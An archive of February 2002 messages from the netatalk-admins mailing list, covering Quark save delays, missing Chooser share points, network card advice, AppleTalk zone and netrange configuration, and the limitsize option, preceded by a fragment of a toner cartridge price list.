ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)--------$64
ITEM #16  LASERFAX (FX3)------------------$59
ITEM #17  LASERFAX (FX4)------------------$54


FOR LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD-----------$105
OPTRA E310.312 HIGH YIELD----------------$79

OPTRA E-----------------------------------$59
OPTRA N----------------------------------$115
OPTRA S----------------------------------$165
OPTRA T----------------------------------$195
OPTRA E310/312---------------------------$79
OPTAA E410/412---------------------------$89


FOR EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000----------$105
ACTION LASER 1000,1500--------------------$105


FOR CANON PRINTERS (ON PAGE 5)

PLEASE CALL FOR MODELS AND UPDATED PRICES
FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------------$49 
LASER WRITER SELECT 300,320,360-----------------$74
LASER WRITER 300 AND 320------------------------$54
LASER WRITER NT, 2NT----------------------------$54
LASER WRITER 12/640-----------------------------$79

FOR CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)-----------------$54
LASERFAX 5000,7000 (FX2)------------------------$54
LASERFAX 8500,9000 (FX4)------------------------$54

FOR CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720,760,900,910,920(E-40)------$89











From netatalk.administrators-errors@umich.edu  Tue Feb 26 16:22:49 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA21162
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Feb 2002 16:22:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA15164
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Feb 2002 16:22:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA15153
	for netatalk.administrators-members@umich.edu; Tue, 26 Feb 2002 16:22:49 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA15097
	for <netatalk-admins@umich.edu>; Tue, 26 Feb 2002 16:22:47 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1QLMii16586;
	Tue, 26 Feb 2002 13:22:44 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 26 Feb 2002 13:22:31 -0800
Subject: Anyone got Quark problems with Netatalk 1.5.2?
From: Steve Freitas <steve@ihonk.com>
To: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Message-ID: <B8A13C97.B60A%steve@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Please let me know if you have Quark problems with Netatalk 1.5.2. I need a
user or two to talk to a Quark contact to help narrow down the problems.

Thanks,

Steve


From netatalk.administrators-errors@umich.edu  Tue Feb 26 16:34:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA21842
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Feb 2002 16:34:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA09164
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Feb 2002 16:34:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA09142
	for netatalk.administrators-members@umich.edu; Tue, 26 Feb 2002 16:34:35 -0500 (EST)
Received: from modbee.com (mail.modbee.com [206.151.134.200])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA09099
	for <netatalk-admins@umich.edu>; Tue, 26 Feb 2002 16:34:34 -0500 (EST)
Received: from exchange.modbee.com ([172.17.52.18]) by gateway.modbee.com with ESMTP id <115204>; Wed, 27 Feb 2002 13:34:11 -0800
Received: from [172.17.54.66] (172.17.54.66 [172.17.54.66]) by exchange.modbee.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 17KAZAYY; Tue, 26 Feb 2002 13:34:26 -0800
User-Agent: Microsoft-Entourage/10.0.0.1309
Date: Tue, 26 Feb 2002 13:34:18 -0800
Subject: Re: Anyone got Quark problems with Netatalk 1.5.2?
From: Tyler Hardison <thardison@modbee.com>
To: Steve Freitas <steve@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Message-ID: <B8A13F5A.96D%thardison@modbee.com>
In-Reply-To: <B8A13C97.B60A%steve@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2/26/02 1:22 PM, "Steve Freitas" <steve@ihonk.com> wrote:

> Please let me know if you have Quark problems with Netatalk 1.5.2. I need a
> user or two to talk to a Quark contact to help narrow down the problems.
> 
> Thanks,
> 
> Steve

Steve what particular problems are you looking for?

Tyler.


From netatalk.administrators-errors@umich.edu  Tue Feb 26 17:02:59 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from bluehawaii.mr.itd.umich.edu (bluehawaii.mr.itd.umich.edu [141.211.14.32])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA24039
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Feb 2002 17:02:59 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with LDAP id g1QM2xI09415
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Feb 2002 17:02:59 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with X.500 id g1QM2xf09409
	for netatalk.administrators-members@umich.edu; Tue, 26 Feb 2002 17:02:59 -0500 (EST)
Received: from modbee.com (mail.modbee.com [206.151.134.200])
	by bluehawaii.mr.itd.umich.edu (3.6u) with ESMTP id g1QM2w109397
	for <netatalk-admins@umich.edu>; Tue, 26 Feb 2002 17:02:58 -0500 (EST)
Received: from exchange.modbee.com ([172.17.52.18]) by gateway.modbee.com with ESMTP id <115203>; Wed, 27 Feb 2002 14:02:27 -0800
Received: from [172.17.54.66] (172.17.54.66 [172.17.54.66]) by exchange.modbee.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 17KAZA66; Tue, 26 Feb 2002 14:02:46 -0800
User-Agent: Microsoft-Entourage/10.0.0.1309
Date: Tue, 26 Feb 2002 14:02:38 -0800
Subject: Re: Anyone got Quark problems with Netatalk 1.5.2?
From: Tyler Hardison <thardison@modbee.com>
To: Tyler Hardison <thardison@modbee.com>, Steve Freitas <steve@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Message-ID: <B8A145FE.974%thardison@modbee.com>
In-Reply-To: <B8A13F5A.96D%thardison@modbee.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2/26/02 1:34 PM, "Tyler Hardison" <thardison@modbee.com> wrote:

> On 2/26/02 1:22 PM, "Steve Freitas" <steve@ihonk.com> wrote:
> 
>> Please let me know if you have Quark problems with Netatalk 1.5.2. I need a
>> user or two to talk to a Quark contact to help narrow down the problems.
>> 
>> Thanks,
>> 
>> Steve
> 
> Steve what particular problems are you looking for?
> 
> Tyler.

Here is the problem we are having:

12.1M File from quark takes 49 seconds to save.

Drag and drop takes 2 seconds.

That is our biggest issue to date.

Tyler.


From netatalk.administrators-errors@umich.edu  Tue Feb 26 20:21:53 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id UAA08444
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 26 Feb 2002 20:21:53 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1R1LrF15942
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 26 Feb 2002 20:21:53 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1R1LqZ15940
	for netatalk.administrators-members@umich.edu; Tue, 26 Feb 2002 20:21:52 -0500 (EST)
Received: from lavender.ad ([203.185.210.139])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1R1LlF15901
	for <netatalk-admins@umich.edu>; Tue, 26 Feb 2002 20:21:51 -0500 (EST)
Received: from [203.185.210.149] (203.185.210.149) by lavender.ad with
 ESMTP (Eudora Internet Mail Server 3.0.3) for <netatalk-admins@umich.edu>;
 Wed, 27 Feb 2002 12:21:33 +1100
User-Agent: Microsoft-Entourage/9.0.2509
Date: Wed, 27 Feb 2002 12:21:34 +1100
Subject: Share point not being seen in Chooser (again!)?
From: Claire van Heyningen <claire@lavender.ad>
To: Netatalk <netatalk-admins@umich.edu>
Message-ID: <B8A27FCE.7098%claire@lavender.ad>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id UAA08444


Hi all, 

I posted a message regarding a similar problem a couple of months ago when a
share point which had been successfully shared for a long period of time,
suddenly stopped appearing in the Chooser.  The main points of that e-mail
are shown below (and none of the specs have changed):

"We're running Mandrake Linux 7.2 with netatalk-1.4.99-0.20001108mdk.  We
have a main share point, divided into specific directories for the different
clients and departments within our company.  Everything has been running
smoothly for 6 months or so now, in that all the share points are visible
and accessible to those that they should be, but all of a sudden, one of the
share points can no longer be seen in the Chooser.  It's still there when I
look on the actual server, and the permissions haven't changed ... I have no
idea what's going on?  I've tried creating new share points as tests, and
they can't be seen either?"

This share point miraculously reappeared in the Chooser after a PC had
logged onto it ... any ideas?

What's happened this time is that I¹ve created a share point on our file
server, and it simply can¹t be seen in the Chooser.  I can see it when I SSH
into theserver (it definitely exists) and all it¹s permissions are fine
(they¹re the same as all the other share points which can be seen).  I¹ve
restarted the server (and thus all relevant daemons), and also manually
restarted both atalkd and afpd, to no avail.  If I connect to the server via
TCP/IP, the share point still doesn¹t appear in the Chooser.  However, PCs
can see this share point, and can rwx on it.

It¹s all very strange ­ if someone could shed some light on it, I would be
very appreciative.


-- 

Claire van Heyningen
Network Services   
Lavender*

http://www.lavender.ad/

Ph:  (02) 8224 3135
Fax:  (02) 9232 4911



From netatalk.administrators-errors@umich.edu  Wed Feb 27 00:27:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from bluehawaii.mr.itd.umich.edu (bluehawaii.mr.itd.umich.edu [141.211.14.32])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id AAA20108
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 00:27:24 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with LDAP id g1R5ROI09570
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 00:27:24 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with X.500 id g1R5RNX09567
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 00:27:23 -0500 (EST)
Received: from tinman.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by bluehawaii.mr.itd.umich.edu (3.6u) with ESMTP id g1R5RM109563
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 00:27:22 -0500 (EST)
Received: from gretchen.daemonize.com (gretchen.daemonize.com [63.204.212.189])
	by tinman.daemonize.com (8.11.2/8.11.2) with ESMTP id g1R5RIO10376
	for <netatalk-admins@umich.edu>; Tue, 26 Feb 2002 21:27:18 -0800
Date: Tue, 26 Feb 2002 21:27:18 -0800
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Subject: Recommendations sought (off-topic?)
From: Paul Krohn <krohn@well.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
Message-Id: <AAB63066-2B42-11D6-97A3-003065B9104A@well.com>
X-Mailer: Apple Mail (2.481)

A while back there was a sort of a gotcha with Intel ethernet cards 
(EtherExpress Pro 100?). Had something to do with multicasts and 
AppleTalk. Don't remember how that exactly turned out.

I'm currently experiencing trouble with my network card -- it 
continuously re-negotiates 10/100 full/half with my el cheapo hub. It's 
a 3Com, but I don't blame it on them because the card got yanked out of 
the PCI slot while the system was up. The hub is an 8 port NetGear 
10/100, and I believe it only supports half duplex.

So what I'm looking for is:

- a network card that is well supported in Linux (I'm on Redhat 7.1), ie 
doesn't have any multicast troubles, and that plays nice with el cheapo 
hubs

and/or

- a hub that supports full duplex

Thanks for your suggestions. Sorry to be a little off-topic. If folks 
reply to me instead of the list, I'll post aa summary of what I learn.


From netatalk.administrators-errors@umich.edu  Wed Feb 27 01:47:41 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from bluehawaii.mr.itd.umich.edu (bluehawaii.mr.itd.umich.edu [141.211.14.32])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id BAA23861
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 01:47:41 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with LDAP id g1R6lft15062
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 01:47:41 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with X.500 id g1R6leC15058
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 01:47:40 -0500 (EST)
Received: from ms2.hinet.net (ms2.hinet.net [168.95.4.20])
	by bluehawaii.mr.itd.umich.edu (3.6u) with ESMTP id g1R6ld115048
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 01:47:39 -0500 (EST)
Received: from jimmy (ns.falconstor.com.tw [61.218.138.234])
	by ms2.hinet.net (8.8.8/8.8.8) with SMTP id OAA06147
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 14:47:33 +0800 (CST)
Message-ID: <000e01c1bf5a$ad09d870$a1021eac@pywang4dom.falconstor.com.tw>
From: "Sophie" <sophie@ms2.hinet.net>
To: "Netatalk-Admins" <netatalk-admins@umich.edu>
Subject: zone setting in netatalk-1.5.2
Date: Wed, 27 Feb 2002 14:47:46 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000B_01C1BF9D.B8809610"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C1BF9D.B8809610
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

Hi,

I only have one NIC and set the zone info in atalkd.conf as:

eth0 -router -phase 2 -net 0-65534 -addr 65280.81 -zone "myzone"

I can see that zone existed from my iBook, but only for several seconds.
Then the zone disappeared. Why? Can I run a router on a machine with
only one NIC?

Thanks.
Sophie

------=_NextPart_000_000B_01C1BF9D.B8809610
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dbig5" http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3315.2870" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I only have one NIC and </FONT><FONT =
face=3DArial=20
size=3D2>set the zone info in atalkd.conf as:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>eth0 -router -phase 2 -net 0-65534 =
-addr 65280.81=20
-zone "myzone"</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I can see that zone existed from my =
iBook, but only=20
for several seconds.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Then the zone disappeared. Why? Can I =
run a router=20
on a machine with</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>only one NIC?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Sophie</FONT></DIV></BODY></HTML>

------=_NextPart_000_000B_01C1BF9D.B8809610--


From netatalk.administrators-errors@umich.edu  Wed Feb 27 02:39:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA26022
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 02:39:20 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1R7dKh14274
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 02:39:20 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1R7dJZ14264
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 02:39:19 -0500 (EST)
Received: from arena.delfi.lv (mail.parks.lv [195.2.96.15])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1R7dIF14244
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 02:39:18 -0500 (EST)
Received: from [192.168.0.18] (starlet.delfi.lv [195.114.46.32])
	by arena.delfi.lv (8.9.3/8.9.1/OL.cf-3.1) with SMTP id JAA00936
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 09:39:04 +0200
Message-Id: <200202270739.JAA00936@arena.delfi.lv>
Subject: limitsize Problem - please help
Date: Wed, 27 Feb 2002 09:41:28 +0200
x-sender: andrei.verovski@mail.parks.lv
x-mailer: Claris Emailer 2.0v3, January 22, 1998
From: Andrei Verovski <andrei.verovski@parks.lv>
To: <netatalk-admins@umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"

Hi,


I have posted this meesage before but still did not get receipt how to 
solve this headache.

I have a problem with Netatalk 1.5 from SuSE 7.3. In short, in order old 
Macs (with 7.x, 8.1) get working with 40 GB shared volume NETATALK should 
report that share size is only 2 GB, otherwise old Mac recognizes 22 MB 
folder with a lot of small files as being over 400 MB (old MacOS does  
understands only volumes with fixed number of sectors).


NETATALK has an option called limitsize, however, I have been unable to 
get it working. I have tried "~  option:limitisize", "~  
limitsize:2048000000", "~  option:limitisize:2048000000". Tilde ("~") 
means user-home-dir sharing by default.


I have removed all other options, but it does not seem working anyway. It 
seems this options is just being ignored (or may be I have used wrong 
syntax?).


Thanks in advance for any suggestions.

Andrei


From netatalk.administrators-errors@umich.edu  Wed Feb 27 02:49:26 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA26482
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 02:49:26 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with LDAP id g1R7nQb19695
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 02:49:26 -0500 (EST)
Received: (from daemon@localhost)
	by vivalasvegas.mr.itd.umich.edu (3.6u) with X.500 id g1R7nPr19693
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 02:49:25 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by vivalasvegas.mr.itd.umich.edu (3.6u) with ESMTP id g1R7nOF19677
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 02:49:24 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id JAA21880;
	Wed, 27 Feb 2002 09:16:27 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 27 Feb 2002 08:49:10 +0100
Subject: Re: zone setting in netatalk-1.5.2
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Sophie <sophie@ms2.hinet.net>, Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B8A24E05.1C992%Thomas.Kaiser@phg-online.de>
In-Reply-To: <000e01c1bf5a$ad09d870$a1021eac@pywang4dom.falconstor.com.tw>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 27 Feb 2002 14:47:46 +0800, Sophie wrote:

> I only have one NIC and set the zone info in atalkd.conf as:
> 
> eth0 -router -phase 2 -net 0-65534 -addr 65280.81 -zone "myzone"

You want Netatalk to become a seed router, so should supply the -seed switch
too (in 1.4b2+asun days, '-router' had to come before '-seed' -- maybe with
netatalk 1.5 you can suppress the -seed switch at all)

As you're doing AppleTalk routing, you have to supply correct netranges, eg.

eth0 -router -seed -phase 2 -net 1-200 -addr 200.142 -zone "foo" -zone "bar"

The default zone will be "foo", so all services that register itself in '*'
(like 'my fileserver:AFPServer@*') will appear in zone "foo". To change
this, edit the occurances of the nbprgstr commands in your netatalk start
script (or change $ATALK_ZONE in netatalk.conf if your startup script uses
this config file) or in the appropriate config files like papd.conf or
afpd.conf

You might want to have a look at [$netatalk-sourcedir]/doc/CONFIGURE,
<http://www.transit.hanse.de/netatalk/router.html>,
<http://www.umich.edu/~rsug/netatalk/archive/admins/1999/2163.html>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb 27 04:00:05 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from bluehawaii.mr.itd.umich.edu (bluehawaii.mr.itd.umich.edu [141.211.14.32])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA29805
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 04:00:04 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with LDAP id g1R904f20451
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 04:00:04 -0500 (EST)
Received: (from daemon@localhost)
	by bluehawaii.mr.itd.umich.edu (3.6u) with X.500 id g1R904l20447
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 04:00:04 -0500 (EST)
Received: from ms2.hinet.net (ms2.hinet.net [168.95.4.20])
	by bluehawaii.mr.itd.umich.edu (3.6u) with ESMTP id g1R902120436
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 04:00:02 -0500 (EST)
Received: from jimmy (ns.falconstor.com.tw [61.218.138.234])
	by ms2.hinet.net (8.8.8/8.8.8) with SMTP id QAA07620;
	Wed, 27 Feb 2002 16:59:49 +0800 (CST)
Message-ID: <000b01c1bf6d$2a0c8a90$a1021eac@pywang4dom.falconstor.com.tw>
From: "Sophie" <sophie@ms2.hinet.net>
To: "Thomas Kaiser" <Thomas.Kaiser@phg-online.de>,
        "Netatalk-Admins" <netatalk-admins@umich.edu>
References: <B8A24E05.1C992%Thomas.Kaiser@phg-online.de>
Subject: Re: zone setting in netatalk-1.5.2
Date: Wed, 27 Feb 2002 17:00:03 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200


Thanks. It works.

But "-seed" seems not work because I only have one interface.
In atalkd.conf, it says that -seed only works for multi-interfaces.
I set the netranges to 1-200 and it works.

What is correct netranges? Why 0-65534 doesn't work?

Thanks.
Sophie

----- Original Message -----
From: "Thomas Kaiser" <Thomas.Kaiser@phg-online.de>
To: "Sophie" <sophie@ms2.hinet.net>; "Netatalk-Admins"
<netatalk-admins@umich.edu>
Sent: Wednesday, February 27, 2002 3:49 PM
Subject: Re: zone setting in netatalk-1.5.2


> On Wed, 27 Feb 2002 14:47:46 +0800, Sophie wrote:
>
> > I only have one NIC and set the zone info in atalkd.conf as:
> >
> > eth0 -router -phase 2 -net 0-65534 -addr 65280.81 -zone "myzone"
>
> You want Netatalk to become a seed router, so should supply the -seed
switch
> too (in 1.4b2+asun days, '-router' had to come before '-seed' -- maybe
with
> netatalk 1.5 you can suppress the -seed switch at all)
>
> As you're doing AppleTalk routing, you have to supply correct netranges,
eg.
>
> eth0 -router -seed -phase 2 -net 1-200 -addr 200.142 -zone "foo" -zone
"bar"
>
> The default zone will be "foo", so all services that register itself in
'*'
> (like 'my fileserver:AFPServer@*') will appear in zone "foo". To change
> this, edit the occurances of the nbprgstr commands in your netatalk start
> script (or change $ATALK_ZONE in netatalk.conf if your startup script uses
> this config file) or in the appropriate config files like papd.conf or
> afpd.conf
>
> You might want to have a look at [$netatalk-sourcedir]/doc/CONFIGURE,
> <http://www.transit.hanse.de/netatalk/router.html>,
> <http://www.umich.edu/~rsug/netatalk/archive/admins/1999/2163.html>
>
> Regards,
>
> Thomas
>


From netatalk.administrators-errors@umich.edu  Wed Feb 27 04:10:38 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA00144
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 04:10:38 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1R9Acw03368
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Feb 2002 04:10:38 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1R9Acd03364
	for netatalk.administrators-members@umich.edu; Wed, 27 Feb 2002 04:10:38 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1R9Aa803356
	for <netatalk-admins@umich.edu>; Wed, 27 Feb 2002 04:10:37 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id KAA22424;
	Wed, 27 Feb 2002 10:37:44 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 27 Feb 2002 10:10:25 +0100
Subject: Re: zone setting in netatalk-1.5.2
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Sophie <sophie@ms2.hinet.net>, Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B8A26110.1C9B0%Thomas.Kaiser@phg-online.de>
In-Reply-To: <000b01c1bf6d$2a0c8a90$a1021eac@pywang4dom.falconstor.com.tw>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 27 Feb 2002 17:00:03 +0800, Sophie wrote:

> But "-seed" seems not work because I only have one interface.
> In atalkd.conf, it says that -seed only works for multi-interfaces.

Maybe I confused the issue... :-)

Every time I tried it with one single interface, I configured it this way
and it worked perfectly (expect sometimes when other AppleTalk devices
complained about something wrong with routing)

> I set the netranges to 1-200 and it works.

Fine.

> What is correct netranges? Why 0-65534 doesn't work?

0-65534 is something special as it indicates that there is *no* router
    present and this segment should be auto-discovered.

1-65279 are valid for netranges if you're doing AppleTalk routing. Every
    netrange in every segment has to stay unique and in case more than one
    AppleTalk router is involved, the default zones per segment should be
    identical on each router to avoid confusion.

65280-65534 is the so called startup range and the range, AppleTalk devices
    will register within, if there is no router present.

doc/CONFIGURE links to <http://www.neon.com/atalk_routing.html> where all
this is described in detail.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb 27 09:06:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from lovemetender.mr.itd.umich.edu (lovemetender.mr.itd.umich.edu [141.211.14.31])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA14025
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Feb 2002 09:06:36 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with LDAP id g1RE6aC00441
